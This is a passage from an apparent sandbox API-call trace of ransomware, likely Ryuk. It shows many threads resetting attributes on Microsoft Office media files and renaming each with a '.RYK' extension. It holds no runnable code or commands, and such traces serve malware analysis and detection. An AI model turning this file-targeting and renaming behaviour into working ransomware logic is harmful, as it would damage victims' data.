	[0278.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3887
	os_tid = 0x4254

	[0278.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF", dwFileAttributes=0x80) returned 0
	[0278.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.349] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3888
	os_tid = 0x4258

	[0278.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF", dwFileAttributes=0x80) returned 0
	[0278.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3889
	os_tid = 0x425c

	[0278.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF", dwFileAttributes=0x80) returned 0
	[0278.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3890
	os_tid = 0x4260

	[0278.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF", dwFileAttributes=0x80) returned 0
	[0278.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3891
	os_tid = 0x4264

	[0278.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF", dwFileAttributes=0x80) returned 0
	[0278.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3892
	os_tid = 0x4268

	[0278.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF", dwFileAttributes=0x80) returned 0
	[0278.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3893
	os_tid = 0x426c

	[0278.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF", dwFileAttributes=0x80) returned 0
	[0278.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3894
	os_tid = 0x4270

	[0278.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF", dwFileAttributes=0x80) returned 0
	[0278.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.359] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3895
	os_tid = 0x4274

	[0278.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF", dwFileAttributes=0x80) returned 0
	[0278.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3896
	os_tid = 0x4278

	[0278.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF", dwFileAttributes=0x80) returned 0
	[0278.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3897
	os_tid = 0x427c

	[0278.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF", dwFileAttributes=0x80) returned 0
	[0278.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.363] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3898
	os_tid = 0x4280

	[0278.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG", dwFileAttributes=0x80) returned 0
	[0278.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3901
	os_tid = 0x428c

	[0278.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF", dwFileAttributes=0x80) returned 0
	[0278.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.366] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3902
	os_tid = 0x4290

	[0278.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF", dwFileAttributes=0x80) returned 0
	[0278.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3903
	os_tid = 0x4294

	[0278.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF", dwFileAttributes=0x80) returned 0
	[0278.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.565] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3904
	os_tid = 0x4298

	[0278.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF", dwFileAttributes=0x80) returned 0
	[0278.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.567] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3905
	os_tid = 0x429c

	[0278.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF", dwFileAttributes=0x80) returned 0
	[0278.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.568] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3906
	os_tid = 0x42a0

	[0278.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF", dwFileAttributes=0x80) returned 0
	[0278.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.570] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3907
	os_tid = 0x42a4

	[0278.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF", dwFileAttributes=0x80) returned 0
	[0278.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.571] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3908
	os_tid = 0x42a8

	[0278.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF", dwFileAttributes=0x80) returned 0
	[0278.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.573] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3909
	os_tid = 0x42ac

	[0278.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF", dwFileAttributes=0x80) returned 0
	[0278.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.574] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3910
	os_tid = 0x42b0

	[0278.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF", dwFileAttributes=0x80) returned 0
	[0278.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3911
	os_tid = 0x42b4

	[0278.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF", dwFileAttributes=0x80) returned 0
	[0278.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.577] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3912
	os_tid = 0x42b8

	[0278.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF", dwFileAttributes=0x80) returned 0
	[0278.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.578] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3913
	os_tid = 0x42bc

	[0278.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF", dwFileAttributes=0x80) returned 0
	[0278.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.580] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3914
	os_tid = 0x42c0

	[0278.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF", dwFileAttributes=0x80) returned 0
